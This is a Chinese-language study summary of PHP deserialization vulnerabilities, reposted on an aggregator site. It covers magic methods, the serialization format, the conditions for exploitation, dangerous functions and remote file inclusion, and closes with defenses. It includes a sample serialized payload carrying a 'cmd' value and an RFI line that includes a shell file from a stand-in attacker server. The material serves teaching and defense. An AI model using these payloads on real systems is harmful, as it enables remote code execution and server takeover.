当前位置: 首页 > news >正文

PHP反序列化安全核心重点总结

一、PHP面向对象核心(漏洞基础)

  1. 类与对象

    • 类:用class定义,是属性+方法的抽象模板;对象:new实例化后的实体。

    • 属性:类的成员变量,用public/protected/private修饰,类内用$this->属性名调用。

    • 方法:类的成员函数,分普通方法(手动调用)和魔术方法(自动触发)。

  2. 魔术方法关键

    • 命名:以__双下划线开头,PHP内置,无需手动调用。

    • 漏洞核心触发点:

      • __wakeup()反序列化时自动触发(最常用)。

      • __destruct():对象销毁时自动触发(隐蔽性极高)。

      • __construct():实例化时触发,反序列化不触发


二、序列化与反序列化(核心机制)

  1. 定义

    • 序列化:serialize($对象)→ 对象转字符串,用于传输/存储。

    • 反序列化:unserialize($字符串)→ 字符串还原为对象。

  2. 安全本质

    • 序列化/反序列化本身无风险,风险源于无校验反序列化+魔术方法+危险函数

  3. 序列化格式示例:O:4:"Show":1:{s:3:"cmd";s:4:"calc";}

    • O=对象;4=类名长度;Show=类名;1=属性数;s=字符串类型;数字=长度。


三、PHP反序列化漏洞(核心考点)

  1. 漏洞定义攻击者控制反序列化输入,触发魔术方法,执行高危函数,导致远程代码执行(RCE)

  2. 触发三要素(缺一不可)

    1. 反序列化参数完全可控、无任何校验

    2. 目标类存在可自动触发的魔术方法

    3. 魔术方法内调用可控参数的高危危险函数

  3. 利用四步流程

    1. 复刻目标危险类 → 2. 赋值恶意命令 → 3. 序列化生成Payload → 4. 抓包替换触发。


四、高危危险函数(漏洞突破口)

  1. 系统命令执行system(直接输出)、exec(隐蔽执行)。

  2. PHP代码执行eval(一句话木马核心)、assert

  3. 文件包含includerequire(可导致远程文件包含漏洞)。


五、远程文件包含漏洞(RFI)

  1. 原理include/require参数可控,无校验,直接包含远程恶意文件。

  2. 利用?file=http://攻击者服务器/shell.txt

  3. 危害:直接RCE,服务器被控。


六、漏洞防御方案(必记)

  1. 禁用高危函数:修改php.inidisable_functions禁用eval、system、exec等。

  2. 反序列化白名单:仅允许合法类反序列化,拒绝未知类。

  3. 严格校验输入:过滤恶意关键字、限制长度、校验数据类型。

  4. 关闭远程包含php.ini设置allow_url_include = Off


七、核心安全结论

  1. 反序列化漏洞公式:无校验反序列化 + 自动魔术方法 + 可控危险函数 = 漏洞

  2. Web安全黄金法则:永远不信任用户输入

  3. 漏洞根源:开发者安全疏忽,而非技术本身问题。

http://www.jsqmd.com/news/625466/

相关文章:

  • 虚拟机检测工具VMDE:3个实用技巧与核心功能深度解析
  • 3步极速解除极域电子教室控制:JiYuTrainer完整使用指南
  • Java JIT 编译优化策略
  • SITS2026圆桌闭门纪要首次公开(仅限技术决策者阅):AI原生团队组建的3个致命盲区与人才漏斗重建模型
  • @GetMapping @PostMapping @DeleteMapping @PutMapping
  • 工具技术中的工具选择工具集成与工具维护
  • 别再只比“会不会写代码”:我用 5 款 AI 编程工具实测需求理解、改 Bug 和项目接手能力
  • 瑜伽馆主必备!用雯雯的后宫-造相Z-Image快速生成宣传素材实战
  • ESP-C3实战指南:利用VSCode与内置JTAG实现高效调试
  • Python 爬虫限速策略实现
  • 金三银四看网络安全:2026年求职跳槽全指南(附薪资+岗位 +面试干货)
  • 仅限首批200家AI基建团队获取:NIST认证的AI原生事务SLA白皮书(含7类故障注入测试模板)
  • 智能投顾中的资产配置与组合优化模型
  • [AI/应用/MCP] MCP Server/Tool 开发指南恿
  • 2026年西城区离婚律师事务所推荐及服务解析 - 品牌排行榜
  • 20251910 2025-2026-2 《网络攻防实践》第3次作业
  • JimuReport 积木报表 v2.3.2 版本发布,免费的可视化报表和大屏设计
  • 大模型推理成本骤降63%的5个反直觉策略:2026年已验证,错过即淘汰
  • 51单片机项目省电实战:除了掉电模式,你的STC89C52还能这样‘偷懒’降功耗
  • hadoop+Spark+django基于大数据技术的高校岗位招聘平台与数据可视化分析(源码+文档+调试+可视化大屏)
  • 2026年全国新能源抓钢机、定制化工程机械与物料抓取设备深度横评选购指南 - 精选优质企业推荐榜
  • 2026年海淀区离婚律师事务所推荐及服务参考 - 品牌排行榜
  • 3分钟快速完成Axure RP汉化:免费中文语言包完整指南
  • 如何用RP-Soundboard让你的Teamspeak语音聊天变得生动有趣
  • 2026微信公众号编辑器深度选型指南:告别低效排版的实战手册 - 行业产品测评专家
  • ObsPy的TauPyModel实战:如何为你的地震定位脚本快速集成P波理论走时计算?
  • hadoop+Spark+django基于大数据技术的短视频数据分析(源码+文档+调试+可视化大屏)
  • 2026年4月工厂预制化管道公司口碑推荐,中低压管件/撬装产品设备/压力容器/三通管件,工厂预制化管道生产厂家找哪家 - 品牌推荐师
  • Rust的匹配中的守卫条件
  • 从Query理解到Action执行:AI原生搜索系统7层推理链深度拆解,一线大厂已在灰度上线